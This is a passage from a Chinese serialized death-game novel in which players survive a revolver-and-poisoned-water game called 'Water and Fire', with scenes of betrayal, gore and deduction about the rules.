【规则1:……不论结果如何或者发生了什么事,你的回合结束时,手枪都必须放回置物台上。】
正如一开始宋白河提醒长脸女那样,如果此时没人提醒宋白河要将枪放回置物台,那么他就算没被毒死,也会直接违反规则淘汰!
三人默契地保持安静。
14……
13……
12……
11……
宋白河宛若一座会呼吸的雕像,持枪伫立,只留下背影。
直到倒计时仅剩10秒,他忽然回身,迅速将手枪放回置物台,迎上三人诧异而遗憾的目光。
“没……”粉头男最先反应过来,神色如常开口:“嘿!哥们,你没事吧?”
眼镜男也顺势表示关心:“对啊!哎哟,你说说这事儿……”
各怀鬼胎。
“我还以为我中毒了!”宋白河虚虚一笑,瞥了眼长脸女。
长脸女阴着脸,接下来就到她的回合了,如果她死撑着不执行“跳过”,那么水鬼将一直附身在宋白河身上。
如果她执行了“跳过”,那接下来水鬼会附身到谁身上?水鬼只附身在水晶屋里的人身上吗?还是说……坐在气球椅子上的人也会被附身?
万一……又附身到自己身上呢?
再经受一轮“水鬼低语”的折磨?不……头再这么痛一次,估计真的得疯!
倒计时结束。
“呜——呜——呜——!”
东、北、西、南四个房间的红灯突然一通乱闪,将整个“水晶屋”照得如同发红的锅炉。
场地广播回荡危险的警笛,伴随着冰冷的合成语音:
“正在执行【轮换】环节,请同阵营的玩家在1分钟内进行位置互换!”
“倒计时结束前未能及时就位的玩家将被淘汰!”
只听见“咔哒”一声,“水晶屋”的四扇金属门应声弹开。
宋白河循声回头,抬眼望去——场地对面的米米也正从“气球椅子”上解脱,揉着手腕站起身。
广播语速均匀:“60秒倒计时现在开始:60、59、58……”
轮换环节?
宋白河愣了片刻,意识到规则里似乎有关于“轮换”的描述,于是第一时间冲到传送带处,查阅【水火相容游戏规则】。
“就这句?”他按着发麻的额头:
【规则5:游戏存在[轮换]环节,届时请玩家按照语音提示进行操作。】
现在响起的就是语音提示?
宋白河还没想仔细,就见到粉头男冲出南房间,往场地南边的“气球椅子”处跑去。
广播持续倒计时:“50、49、48……”
“同阵营的玩家进行位置互换”?
宋白河将规则纸放在醒目的位置,迅速冲出房间,迎面撞上小跑过来的米米。
30米的距离不算远,正常人最多十几秒就足够跑完。
“宋白河,我也要对你开枪吗?”米米和宋白河擦肩而过时,不由得发问。
宋白河匆忙回复:“注意看规则!注意水鬼!如果开枪,别忘了把枪放回原位!”
说完,他的脚步一顿。
等下……那这样一来,自己的“下家”,就不是长脸女,而是长脸女的队友!
宋白河边跑边看向北边那毫无交集的两人。
她会选择“跳过”吗?
45. 彩虹节拍-绿青10
东大厅内。
“怎么了?没事吧……曹老师?”万梦小心翼翼地尝试接近。
东阵营只剩下她跟曹彦旭。
现在,曹彦旭在她面前痛苦地捶打着脑袋,继而蹲下蜷缩在墙角,嘴里发出断断续续的奇怪嘀咕声。
先前掉了满地的食物,已经被粗略地清扫到嵌有“东”字的墙脚处;另一边,曲面墙的八个房间门都开着,全都空荡荡的……在这样的环境下,曹彦旭的异常更让人惊慌不安。
万梦找了一杯没倒光的饮料,虽然想递给曹彦旭,也试图去关心安抚他,但抗拒危险的本能令她始终保持着一定距离。
“曹老师?你说什么?”她半低着身姿,往墙角处的曹彦旭靠近了一步。
“我来过……我来过了……我来过了……”
曹彦旭抱着头嘀嘀咕咕,更加用力敲打脑袋,似乎正闭眼回忆什么重要的事,但始终无法彻底记起。
“你来过?”万梦回头瞟了眼屏幕,然后又靠近曹彦旭一步,将手中的水递出:“曹老师,你先冷静点,慢慢说。”
曹彦旭抬手拒绝了万梦递来的饮料,示意自己没事。
他只是摇着头,止不住念叨:“所以我死了吗?我死了?我……还是说我睡了?回舱?舱?舱……什么舱……”
“曹老师?”
“我没事,我没事……我能想起来,慢慢来,能想起来……”
……
“跳过。”
一分钟的【轮换】环节结束,【水火相容】进入第二轮游戏。
北阵营的大妈毫不犹豫选择“跳过”。
比起拿枪直接轰掉队友的脑袋,她更害怕去喝那瓶有概率毒发的水。
话音刚落,北房间红灯长亮,场地广播“呜呜”警鸣,嘶吼着“水鬼袭击!”,尽管大妈已经有了一定的心理准备,但还是被这突如其来的警报吓得直往房间边角躲,嘴里不断咒骂“要死啊!”。
警鸣声还没响完,东房间的传送带兀自转动。
一个空水瓶被送往北房间——瓶中的水已经被在刚才被宋白河喝掉了。
“水鬼?”
米米想起刚才和宋白河【轮换】时候,短暂的信息交流:
被“水鬼”附身,无法执行“跳过”。想要摆脱水鬼,就只能寄希望于他的“下家”执行“跳过”,触发“水鬼袭击”。
空瓶传到北边的房间,米米立刻听见大妈懊悔地拍大腿:“哎呀!!那个女人说的是真的哇!?刚才还叫我不能跳过!”
刚才【轮换】的过程中,长脸女最终还是冲大妈说了句“别让水鬼跑了!不要跳过”,可惜大妈并没有相信她,无视了。
“吓死我了!什么水鬼啊?”警示结束后,大妈扫视了一圈水晶房子里的其余三人。
在北大厅里,没有人会透露出真正有用的信息。
她并没有跟长脸女有过多的交流,对现在游戏的具体进度也只是一知半解。很快她就发现自己并没有遭遇什么不测——正如【规则4】里所说,执行“跳过”就不用开枪,也无需喝[水]。
【规则4:允许你在自己的回合中喊出“跳过”来跳过回合。执行“跳过”后,该回合照常生成[水],但你无需进行手枪击发,也无需饮用[水]。请注意:同一阵营不可连续执行“跳过”。】
无所谓了,总之她现在是安全了。
“不对……”
米米扫视“水晶屋”内的【水火相容游戏规则】。
虽然和在“气球椅子”上看到的一模一样,但位置交换后,却能注意到先前所忽略的信息!
【规则4】里的:请注意:同一阵营不可连续执行“跳过”。
这里说的是“同一阵营”,而非“同一玩家”——也就是说若刚才宋白河“跳过”,那现在米米就无法执行“跳过”了!
反过来说,这轮若是米米“跳过”,下一轮宋白河也无法“跳过”。
因为存在【轮换】环节,所以同个阵营的两名玩家之间,只能有一人“跳过”!
既是队友,又有竞争关系……
米米庆幸:刚刚宋白河被附身,无法执行“跳过”,并且在短暂的交谈中,宋白河提醒过她,这一轮她可以选择“跳过”。
对了,既然大妈触发了“水鬼袭击”,那么水鬼就会离开宋白河,附身到另一个玩家身上。
会是谁呢?
如果按之前附身的情况来看,被“水鬼附身”的人,有没有可能只有在水晶屋里的人才会被附身?
她迅速观察除大妈外的另外两名玩家:
西房间内是一个留着莫西干发型的女人,神色冷峻一副生人勿近的气质;南房间的是游戏开始时高喊“反抗主办方”的胖大叔,他脸上挂着令人不适的冷笑,视线来回瞟着。
“什么声音?”莫西干头女人使劲拍了拍脖子处的狗环,用奇怪的口音不满道:“给我安静点!”
根据宋白河的描述,看来水鬼是附身到这个莫西干头女人身上了……
南边的胖大叔也察觉出来。
或许是因为毫无准备地进入“水晶屋”,第二轮的四名玩家都更谨慎,彼此的防备心也更重。
三分钟很快结束,游戏轮到西阵营的回合。
只见莫西干头女人一边咒骂,一边快速走到置物台,迅速取出手枪,握在手中来回掂量一番,完全不管狗环声音的样子。
她双手握枪对着窗户外预瞄,动作干净利落……与宋白河的单手持枪不同,她选择双手持枪,双腿前后分开,后腿伸直,看着就像是好莱坞电影里经常出现的姿势。
“这就是被附身了?”米米不由得多看了她一眼,暗自疑惑:
行动自如,完全不像宋白河说的那么严重?是宋白河夸大了吗?
“砰!!”
枪声猝不及防响起。
西边“气球椅子”处,眼镜男头顶的气球没有爆,子弹打在他身后的石墙上。
莫西干头女人咧嘴骂了句“sh*t”,略显不甘地又扣了扳机,但手枪的智能锁已经启动,根本扣不动,惹得她沮丧咆哮着“闭嘴”这类的话语,回身将手枪“哐当”重重仍回水晶房子中央的金属置物台上。
米米看着她逐渐暴躁。
西房间的红灯长亮,场地广播发出“嘀”的警示:“请当前玩家在10秒内喝下房间中的一瓶水,10、9、8、7……”
莫西干头女人嘴里不干不净地骂了两句,抓起这回合生成的[水],凑到嘴边时略一迟疑,但还是一饮而尽。
喝完后她将空瓶往玻璃墙上一砸,反弹回地上。
很快,3分钟倒计时结束。
她依旧生龙活虎,暴躁地自言自语骂骂咧咧,没有毒发。
这瓶[水]也无毒。
这时“水晶屋”中央的金属置物台“嗖”地向下打开,手枪应声落入其中,随后立刻又升起一把新的手枪。
新枪?
也就是说,【水火相容】至此总共进行了六个回合。
【信息1:游戏特制的左轮手.枪弹巢共有六个弹仓,其中随机填入了四发实弹。游戏每进行6个回合,手枪将会更换一次弹巢。】
与其说是“更换弹巢”,更像是直接换了把新的。
“到我嘞。”接下来是胖大叔的回合。
他看着传送带“嗡嗡嗡”生成的[水],还有房间里闪烁的红灯倒计时,似乎发了会呆才喊道:“跳过。”
米米抬起眼睛,看向莫西干头女人——胖大叔作为她的下家,执行“跳过”不就直接触发“水鬼袭击”了?
然而广播里一片死寂,没有任何提示。
“看来真的没办法跳过嘞。”胖大叔嘀咕着。
这说明上一轮粉头男已经执行过“跳过”了,所以同属南阵营的胖大叔这一轮压根无法执行“跳过”,自然也触发不了“水鬼袭击”了。
“f*ckoff!狗屎东西!”
莫西干头女人愣了一下,又接着不停中英文切换着咒骂。
胖大叔悻悻地走到置物台取出手枪,枪一到手,他便果断转身走到窗边,对准窗外。
不能“跳过”,他只能选择开枪。
扣动扳机——
“砰!”
枪声如雷!
“呃啊啊啊!!!”下一秒,场地回荡起痛苦的哀嚎!
只见南边“气球椅子”上的粉头男身体剧烈扭动着,却被牢牢禁锢——他半边脑袋被子弹开了瓢,鲜血顺着鬓角汨汨淌下,很快染红了半个身子!
气球完好无损,兀自摇曳。
胖大叔对队友的惨状视若无睹,只是叹息地摇着脑袋,像是放一个非常日常的物品一样,将手枪放回置物
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台。
南房间的红灯长亮,广播提示:“请当前玩家在10秒内喝下房间中的一瓶水,10、9、8、7……”
他用乡音低低骂了句脏话,随后在倒计时结束前将这回合的[水]喝光。
放下水瓶的手却剧烈颤抖。
他不在乎杀人,他只在乎自己能不能活下来。
粉头男那个该死的自私玩意儿,第一轮就擅自选择了“跳过”,完全没考虑过他不能“跳过”就只能开枪!粉头男一定会在第三轮的时候继续选“跳过”!那自己就只能一直被迫开枪,喝水试毒!
既然队友的关系导致自己无法执行“跳过”,那“不小心”将队友杀了,也在情理之中吧?
“呃呃啊……”、“好痛啊呃呃啊啊……”、“操啊啊呃……”
南边气球椅子上,粉头男重复的哀鸿不断传来。
罪魁祸首胖大叔则满脸漠然,仿佛这一切都不是他造成的。
西房间的莫西干头女人冷冷盯了会胖大叔,半天发出一声不屑的冷哼,继续中英文切换和狗环里的“水鬼”声音吵架。
很快,3分钟倒计时结束。
游戏来到米米的回合。
按照她跟宋白河制定的简短计划,她定了定神,走到从置物台上拿起手枪,接着喊出:
“跳过”。
只要“水鬼附身”的不是自己的上家,那自己执行“跳过”就是安全的。
果然,场地广播放出活泼的旋律,语音提示“跳过成功,手枪已锁定”。
米米松了口气,将手枪放回置物台,等待回合结束。
4……
3……
2……
1……
“呜——呜——呜——!”
第二轮游戏结束,整个“水晶屋”再次被闪烁的红光笼罩。
广播语音:“正在执行【轮换】环节,请同阵营的玩家在1分钟内进行位置互换!”
“倒计时结束前未能及时就位的玩家将被淘汰!”
“60秒倒计时现在开始:60、59、58……”
果然是要再次【轮换】。
米米听见金属门“啪嗒”一声弹开,朝门外望去时,看见宋白河已经挣开“气球椅子”的束缚,大步朝这边跑来。
如果游戏每轮都需要【轮换】,那么在【轮换】环节的1分钟就是同阵营队友仅有的私下沟通时间。
要想制定游戏策略,交换信息,就必须好好把握!
“果然是不停轮换。”米米也跑向宋白河,迅速交换情报:“这样我们两个只能一个人‘跳过’……还有,按你的说法,这次被水鬼附身的是西边,但她开枪的姿势很熟练。”
“好的。”
宋白河补充了一句:“我会开枪,但肯定不会打到你,你信我。”
“嗯……”米米点点头,若有所思,她希望能更多地交换信息:“不过,我在想,这游戏可能不是要打气球……”
话音未落,就被场地南边剧烈的争执声打断。
两人循声望去,看到胖大叔已经跑到南边的“气球椅子”,将满头鲜血半死不活的粉头男拉起,往旁推开。
胖大叔自己则用袖口擦了擦椅子上的血污,大剌剌坐了上去。
粉头男已经处在弥留之际,倒在地上根本爬不起来。
“别缠着我,快去水晶屋里吧,”胖大叔冲地上的粉头男叫喊:“要不时间到了,你脑袋就该炸嘞!”
粉头男嘴巴张合,喘气声越来越大,已经快到极限。
广播语音里说了“倒计时结束前未能及时就位的玩家将被淘汰”。
“快走吧,只剩20秒嘞!”胖大叔催促了一声,见粉头男瘫在原地,生怕他炸到自己似的,又跳下气球椅子,将粉头男往前拖了一段距离。
粉头男身下拖出一地血渍,痛苦哀骂:“你大爷的……你还有没有人性……”
“哟!老子以前拍花子的,你说嘞?”胖大叔咬牙笑着。
可就当他要折返回气球椅子的时候,脚踝处突然传来一阵剧烈的疼痛!
“你大爷的……槽……”
粉头男冰冷的手紧紧扣住胖大叔的脚踝!
“你干什么!放手!”胖大叔挣了挣腿,一下子竟没能挣开。
广播语音:“14、13、12、11……”
46. 彩虹节拍-绿青11
“麻糖,过来试新衣!”
奶奶说话的时候,总喜欢用祈使句。
“奶奶,是墨棠!”
不知道是不是因为年纪小,沈墨棠听着一点也不觉得不舒服,反倒会第一时间蹦着跳着跑到奶奶身边。
她还记得奶奶小时候总给她织毛衣。
每年至少一件,颜色款式各不相同。
过节的时候,当沈墨棠还在睡觉,奶奶会偷偷把她散乱的头发梳整齐,扎起小辫子,绑上五色绳,醒来时就会漂漂亮亮的。
长大后才知道,五色绳代表驱邪避灾、祈福纳吉。
“我的五色绳呢?都丢哪去了……”
祭祖那天,月起夕时,汽车驶过喧闹后的金色黄昏。
沈墨棠走入幽邃,想尽年华,怀着执念。目睹陈列寰宇的花,延伸,延展,延绵漫天。
那日算是一个好天气。
……
她徒然张了张嘴,一股凉意瞬间侵入整个口腔,思绪从天外飞回潮湿的“活人水棺”内,重新感受到那彻骨的冰冷与压抑的黑暗。
小屏幕提醒,【善恶毒药】的第八回合刚刚结束。
沈墨棠敛住心神,将有火光、有暖阳、还有绚烂与悲伤的记忆强行压下,投入到眼前的游戏中。
东、西、南三名被淘汰者在之前的交流中已经达成默契,在4-8回合间完美执行“两两投毒”以及“最后发言者归票”的操作。
只可惜,再完美的计划,期间还是会与预想的有所偏差。
还好偏差并不大,只有两件事:
第一件,是沈墨棠还没和西、南商定好“之后所有的‘水鬼附身’游戏全投北阵营的玩家”这件事,游戏的第二次“水鬼附身”环节就开始了。
在未经商议的投票后,最终是排序靠前的“莫西干头女人”被附身。
第二件,是小屏幕上公布除了第八回合后,每个被淘汰者手上当前的毒药数量:
【北】3支,【西】2支,【南】2支,【东】2支。
跟之前预料的差不多。
可是又有些意外。
沈墨棠微微皱眉,盯着小屏幕上显示的结果。
经过第五、六、七、八一共四个回合,“西”、“南”、“东”三人联手,轮流投毒进行“两两投毒”,总共消耗了8支毒药。
这没错。
可让人意外的是“北”从第四回合结束时的2支毒药,到第八回合结束时,却增加到了3支!
难道北边也像最初的“西”一样,触发了什么“水鬼袭击”额外获得1支毒药?
那这个所谓的“水鬼袭击”究竟是什么呢?
北边的玩家不出意外的话已经出了意外……没有意识的人,要怎么做到触发呢?
难道“水鬼袭击”的触发不由被淘汰者所掌控?
沈墨棠叹气:“应该没事。”
如果不由被淘汰者掌控,那极有可能就是阵营玩家触发了。
这次的游戏人员是米米跟宋白河,相信她们两人会警惕小心的。
她现在更应该专注的自己能控制的结果。
如果东、西、南三家不再获得额外毒药,就能顺利在接下来的三回合后消耗掉所有毒药。
届时只剩下利益分配问题。
沈墨棠想了想,该由谁获得“300分钟和神秘福利”的奖励呢?
南淘汰者在【大者通吃】游戏里好像单独失败来着……
……
第二次【轮换】过后,宋白河再次回到“水晶屋”。
南边的三角形房间空无一人,整个“水晶屋”只进入了三个人。
在“水晶屋”之外,场地南边的“气球椅子”附近,南阵营的两人已经双双倒在血泊中,从【水火相容】中淘汰出局!
正如红蟹口中所说的“把脑浆留在原地”。
游戏至此仅剩三个阵营争夺胜利。
“你不是水鬼了?”长脸女偷偷观察宋白河片刻后,趴在玻璃墙上,小声向宋白河确认。
当下正处在她的回合,她需要一些信息,来辅助考虑接下来的行动。
从粉头男和胖大叔的结局来看,不管玩家有意或是无意,反正只要违反任意规则,都会带来灭“顶”之灾!
每个玩家接下来的游戏,很可能在某一瞬间,以某一种始料未及的方式,突然结束。
宋白河揉着额头,现在装自己还被“水鬼附身”也没太多意义了。
“反正你也没办法跳过。”他耸耸肩,略带调侃,直接摊牌。
根据“水鬼附体”效果的转移,宋白河非常清楚,刚才北阵营的大妈已经执行“跳过”,所以现在长脸女没办法“跳过”,只能老老实实开枪。
——“跳过”,很可能从头到尾只有一个人能用。
同阵营的两人,既是合作关系,又相互竞争更高的生存几率。
“……”
长脸女咬牙,无法反驳。
游戏继续进行,她举枪对着窗外,只能祈祷自己打中气球、打出的是空枪、或者房间里的[水]无毒。
“啊喂!”
场地对面,北边“气球椅子”上的大妈发出声音,像是在提醒长脸女注意枪口,别像南阵营的胖男人一样,一不小心伤到队友。
至于这声提醒有没有用,只有长脸女知道。
看过了南阵营两人开枪后的最差结果,又熟悉了游戏规则后,她没有犹豫太久,将枪口对着窗外扣下扳机——“嗒!”
又是空枪。
“菩萨保佑!菩萨保佑啊!啊呵呵!呵呵呵!回去我一定吃斋念佛!我吃三个月素!不、不、我吃三年素!”长脸女由衷庆幸,喜笑颜开。
这次无需提醒,她记得迅速将手枪放回置物台。
“这是什么‘气运之子’玩法……”
连续两轮都开了空枪,敢情弹巢就是为你专门少装两颗子弹的呗!
宋白河叹气,运气他是没那么好了,只能看实力。
第九回合结束。
马上就轮到眼镜男,他紧张地等待轮到他的3分钟回合。
开枪or跳过……游戏规则虽然复杂,但玩家能采取的行为,无非就这两种。
甚至“跳过”这个选项都需要同阵营的队友相互争取使用。
“跳过。”
眼镜男瞥了眼这回合生成的[水],没有犹豫太久。
虽然目前游戏仍未出现有玩家被毒死的情况,但实际上10个回合下来,其中只有3瓶[水]被饮用,按照“40%”的毒药概率来看,毒[水]完全有可能在自己的房间里。
眼镜男自认为没有长脸女那样“气运长虹”,也没有像宋白河那样的能力能打中气球……运气没有,实力也没有,所以“跳过”成为当下唯一安全的选择。
没有像第一轮那样触发“水鬼袭击”。<
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p>游戏安然来到南阵营的回合。
空荡荡的南房间内兀自闪烁红灯倒计时,传送带照常生成一瓶[水]。
希望那“40%”的毒药概率能发生在南房间里,这样其他仍活着的人就能安全一些。
179……
178……
177……
176……
虽然南阵营两人都已经从游戏淘汰,但该是他们的回合还是照样倒计时。
宋白河趁此机会,一边再次阅读【水火相容游戏规则】,一边小幅度活动身体,犹如思考规则般闭眼冥想。
他在找射击的感觉。
既然已经决定将“跳过”的权利让给米米,那自己就只能开枪——相比起米米,自己开枪有可能打中气球,避免喝[水]!
前提是要克服30米距离带来的陌生感。
就像一个每天跑步2公里上学的人,突然有一天因为绕远路买奶茶,需要跑6公里。
这种时候,不只是毅力的问题,对体能和精力的把控也需要重新分配。
对射击而言,需要重新掌握微妙的手感。
而这更难完成。
很快,轮到东阵营。
“可以的。”
宋白河暗自打气,尽量不去在意[水]或者倒计时带来的压力,认真调整呼吸,专注于射击本身的状态。
嗯,可以的。
他取出手枪,朝向窗外,视线顺着肩膀、手臂、枪身、准星,穿过窗户栏杆之间,投向30米外的米米。
微微上抬,对准她头顶上方,略显晃动的绿色气球。
屏气、凝神。
瞄准视野中没有了米米,只剩下气球。
“可以的。”
宋白河没有开口,任由自己的意识对自己暗示,感觉像是某种潜藏大脑的中枢对身体下达了明确而不可违抗的命令。
可以的。
“砰!!!”
扳机扣下,子弹射出。
划过30米空地,绿色气球应声爆破!
“啪!”
……
“噗!不是,他真可以啊?”
酒店顶层俱乐部,青七筒一口喷出了嘴里的冰啤。
旁边的青一筒罗冰龇牙咧嘴:“啊哈哈哈!哇!嘿!您还甭说,咱看人就是准!今天总归是给咱赌赢了一次吧!”
说着他伸出手,从满脸不可置信的青七筒手中抢来了一枚“雀徽”,对周围的人展示这份战利品。
“我都没想到你会输嘞。”青八筒拍了下青七筒的肩膀,盯着电视屏幕挠头,“那个距离,就算是我也不晓得能不能打中……”
“喂喂喂!别把啤酒喷得整个吧台到处都是啊!”
青五条范诺琪厉声呵斥:“青大饼,给我擦干净!你们能不能严肃点?还对赌起来了!”
“得!又怪到咱头上了?”罗冰用手肘捅醒震惊的青七筒,“七哥,您惹的祸自己擦呗!”
“行……”
青七筒放下冰啤,绕到吧台后找抹布。忽然意识到什么抬头问:“刚才老大说什么来着?”
“她要去找咱大庄家当面谈谈了。”罗冰拨弄着吧台糖果盒,试图找到口香糖,“说的是……啥来着?”
范诺琪也若有所思:“亚特兰蒂斯因为使用水晶而发达,也因为滥用水晶而灭亡。”
“啥意思?”
“谁知道呢。”
47. 彩虹节拍-绿青12
“力大无穷……耳聪目明……刀枪不入……”
仅剩两人的东大厅内,曹彦旭仰面检视电视画面的内容,口中念到:“红……橙……黄……绿青蓝紫……这是……不是……不是这样的……”
“曹老师?”一旁的万梦脸上不免有些担忧与疑惑,她只是看着曹彦旭那逐渐清明的眼神和表情,仿佛就能见到他脑中有团郁结不散的雾气正渐渐消失。
“这游戏被他们改过了……”曹彦旭念叨着,忽然回头看向大厅最旁侧的房间,“这么说来,她是第七个回合?”
万梦顺着曹彦旭的目光看过去,曹彦旭看的是一间空房间,最开始被投票淘汰的,沈墨棠的房间。
她不敢随意搭话。
曹彦旭的精神状态明显不太稳定。
一个被淘汰的玩家,跟曹彦旭神神叨叨的“第七个回合”有什么关系?
“水火相容……呵呵……她放过米米了……我懂了,我懂了……她大概率不会放过我……不会放过淘汰她的人!”
大厅内的念叨声忽地语调变高,曹彦旭边呢喃边转身,表情严肃无比,凝望着万梦。
万梦一抬头撞进曹彦旭怪异的眼神里,令她恍惚间还以为自己身后就是万丈悬崖,不由得双腿发软。
“无影无踪、有问必答。”曹彦旭神色阴晴不定,似乎内心颇为复杂,“我们两个无非就被分在这两个游戏中。”
万梦张了张嘴,一头雾水,暗中警惕,不自觉地退后小半步,不想离曹彦旭太近,以防他做出什么出格的事情导致狗环爆炸殃及到自己:“曹老师,你在说什么啊?要不要休息一会……”
曹彦旭摇头,看了一眼电视屏幕,随后冲万梦招招手:“一个蓝色,一个紫色……就剩幽灵棋和逻辑猜数了……来,还有时间,我把这两个游戏的必胜法都教你。”
“你说什么?”万梦本能往前踏出半步,心里也没底这到底发生了什么,问道:“曹老师,你的意思是,你说的两个游戏是我们接下来要玩的?你知道我们要玩什么游戏!?”
“是的。”
曹彦旭目光一冷,抬头看向屏幕底部被打了叉的红、黄两个小人。
他动动嘴唇:“我投了票,她活下来了,肯定会报复……”
“你也投了票。”
“万梦。我们是一起的。你活着比她活着好。”
……
【水火相容】游戏第四轮。
北房间:大妈;西房间:莫西干头女人;南房间:空;东房间:米米。
游戏已经来到第13回合,置物台上的手枪再一次被更换,变成全新的弹巢。
“……”
米米和大妈一起保持沉默。
两人都极为默契地将视线投向西房间。
主要是西房间里的莫西干头女人骂得太难听了。她嘴里滔滔不绝,不停地中英文切换往外吐出各种污言秽语,对着身前的空气恶语相向,已然是一副神经质的模样。
被“水鬼附身”许久的她不知在经受着怎样的折磨。
听见那时大时小的咒骂声中夹杂着奇怪的发音,米米不由得往玻璃墙贴上耳朵。
无奈“水晶屋”的东、西两个房间相对,中间隔着一个金属置物台,声音难以清晰传递。
依稀只听见除了“Iwillkillyou”、“huntyouf*ckingdown”,“onebyone”、“Isweartothef*ckinghell”等等发泄式的词句外,还有“chii”、“zee”、“sin”这一类的三个连续奇怪单音。
米米给自己定下的大学期间其中一个目标,就是要考下英语4、6级。
家里有亲戚从事对外相关的工作,等毕业后找个门路,那也是高薪体面的职业。
前提是能从这奇怪的地方逃出去……
前前提是能先在这场游戏中活下来……
“你听到什么?”北房间大妈见状,也赶紧就耳朵贴到玻璃上。
米米不顾北房间大妈的问话,将耳朵贴得更紧一些。
西房间那莫西干头女人,真的只是用她奇怪的口音在咒骂吗?不,不对,她还发出一些完全听不懂的、不像是英文的音节。
她在说什么?纯粹是被逼疯了语言系统混乱了吗?
“goo”、“danny”、“sh-un”、“more”、“tang”……
Danny?
米米挑起眉梢:是人名?
莫西干头女人在疯癫之际,咒骂着她的仇人?
“喂,小妹,她在说什么?”北房间的大妈听了半天,没听出什么东西来,又转身过来问米米。
或许莫西干头女人只是想通过咒骂仇人来缓解情绪吧,米米没有继续往下听,只能对北房间的大妈摇头:“不知道,我听不清楚。”
接着便转身专心阅读【水火相容游戏规则】,找找有没有什么被遗漏的信息。
“跳过。”北房间的大妈从米米口中得不到任何信息,只能先做选择。
她目光怯怯,在发现自己成功执行了“跳过”操作,没像上一次那样触发“水鬼袭击”,便露出洋洋得意的轻松神色,理了理两鬓稀松的发丝。
她又抬头看了一眼窗外坐在气球下的长脸女,内心没有丝毫动摇——是长脸女自己不用“跳过”的,这不能怪她自私!
倒计时结束,轮到莫西干头女人的回合。
她毫不迟疑抓起手枪,对着窗外“砰”地开火,随即转身将枪丢回置物台。
广播语音:“射击失败!请当前玩家在10秒内喝下房间中的一瓶水,10、9、8、7……”
“f*ckingbequite!”
经受长时间精神折磨的莫西干头女人终于崩溃,抓起一瓶[水]刚要送入口中时,忽然狂性大发,猛地将水瓶捏扁!
“sh*t!sh*t!sh*t!死全家!全部死全家!”
她一边厉声大叫,一边胡乱将卡槽内的其余三瓶[水]一把扫落地上,拿脚狠狠踩爆它们!
“die!f*ckdie!”
“滋滋滋滋滋!!!”
一阵电光从她脖子处放出,令其失去意识,瘫倒在地。
“——嘭!!”
狗环接着爆炸,溅得半个玻璃房都是渣渣。
“啊!!!哎哟喂……”北房间的大妈惊恐嫌恶地掩住口鼻。
米米视线穿过模糊的血肉,则看着西房间内散落一地的[水],脸色忽然冷了下来。
八个玩家淘汰三个,还剩下五个。
南房间没有人,西房间没有水……
“水晶屋”内只剩下米米和大妈两人,两人都清楚这场游戏只有一个赢家,要么你死,要么我亡。
游戏继续。
南阵营回合,死寂的三分钟。
游戏继续。
东阵营,米米的回合。
她眉头紧锁,来回打量四周,看了看北边大妈的反应,又去观察“水晶屋”外被禁锢在“气球椅子”上的玩家。
如果宋白河的情报没错,那么莫西干头女人确实是被“水鬼附身”折磨致死。
她死之后,水鬼还存在吗?
会再附身到其他玩家身上吗?
一时半会,米米无法确定,只知道自己没被附身。
而且……
她看着西房间的狼藉,将目光定在那一瓶瓶被破坏的[水]上,总觉得隐隐有些不安。
犹豫许久,才最终执行“跳过”。
虽然成功避免喝[水],但或许,这并不是一件值得开心的事。
三分钟回合结束。
广播:“正在执行【轮换】环节,请同阵营的玩家在1分钟内进行位置互换!倒计时结束前未能及时就位的玩家将被淘汰!”
“水晶屋”的房门打开,米米在离开玻璃房间前,扫了一下各个房间的传送带,再一次确认了每个房间里的[水]的数量。
她表情凝重,眼神中
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的有着散不去的阴霾,急步走向宋白河。
“放心,我们能赢的。”
宋白河一靠近米米,就发现她神色不对劲,他摸了一下后脑勺,不知道该说些什么。
最后只能开口安慰道:“北边那个女的不可能一直那么好运,但是我已经能打中气球了,轮到你去‘水晶屋’的时候你就放心跳过,这样我们都不用喝……”
“不是的。”米米揉了揉脑袋,头发都被揉乱了一些。
“等等!我明白了!”
她回头看了一眼水晶屋,视线在传送带上的[水]上停了一秒,瞳孔里的阴霾似乎在一瞬间被清理干净:“这个游戏跟‘打气球’,’跳过‘这些事压根无关!”
“额……无关?”
“我知道主持人话里的意思了!你记得主持人在最开始说的那句神话故事吗?!”米米一把揪住宋白河,语速猛地加快:“亚特兰蒂斯因为使用水晶而发展,也因为滥用水晶而灭亡!”
“整个游戏里,只有[水]是不断增加的……”
“打气球,跳过,空枪……这些能一时避免喝[水]的行为,都是这场游戏里的‘水晶’!”
“利用它们,玩家能暂时保住性命,避免喝[水]毒死的风险。”
“可一旦滥用,会导致房间里[水]的数量变多!”
“水的数量?”宋白河听得一愣一愣,他没想明白米米的意思,但看米米的状态,只能盯着米米猜测:“你在说什么,你是不是被水鬼附身了?”
米米白了宋白河一眼,忍住了骂人的冲动,抓紧时间解释道:“这场游戏最后判定胜负的因素是什么?”
“是……”
“是仍有玩家存活的房间中,[水]的数量!”
米米没等宋白河回应,自问自答:“[水]更少的阵营将获胜……我们在游戏里除了要活着,还要尽量减少自己房间里的[水]。”
“你看。”
她说着指向身后的“水晶屋”:“我们要完蛋了!”
“啊?”
“刚才那个西边的女人把西边房间里所有的[水]都破坏了,虽然违反了规则淘汰,但现在那个房间里已经一瓶[水]都没有……如果她队友能活到最后,那就能赢!”
眼镜男?
宋白河顺着米米的指向,看向西边。
因为南阵营的两个玩家都已经淘汰,所以现在游戏只剩下三个阵营在争夺胜利。
东,北两个房间里现在都有三瓶[水],而西房间现在一瓶都没有……如果按照这个趋势下去,那游戏结束时,西阵营将获胜,其他两个阵营的玩家都会接受惩罚!
狗环的剩余时间压根不够扣。
宋白河想清楚,张大了嘴巴:“那,打气球……跳过……空枪气运之子……都是……假……”
“都是游戏设置的陷阱。”
米米听着广播里的【轮换】环节倒计时,赶着所剩不多的时间快速说道:“玩家依赖它们,只会同室操戈和慢性死亡。”
她回头看了眼场地南边的淘汰的两人——他们甚至只是为了争夺那仅能避免一时之危的“跳过”而自相残杀,双双陨命。
“影响游戏输赢的,除了活着,就只有[水]。”
想到这里,米米瞳孔惊恐地放大,没头没脑地说出一句:“宋白河,我们好像……已经输了……”
“你说什么?”因为广播倒计时临近结束,宋白河着急得快要原地小跑,但又忍不住疑问:“慢着慢着……等……怎么就输了!?”
“你想想,现在第几个回合了?”
米米抬起来,长叹一口气,认命般与宋白河擦肩而过,往“气球椅子”处跑去。
不管怎样,她都不想让自己的脑袋当场爆炸。
“第几回合?”宋白河望着她的身影远去,挠了挠头发嘀咕:“已经过了16个回合,最多还剩两轮就能结束这难熬的……”
只剩两轮……!?
宋白河猛地一噎,表情凝重起来。
48. 彩虹节拍-绿青13
永夜城东城,酒店顶层俱乐部。
“啪!”
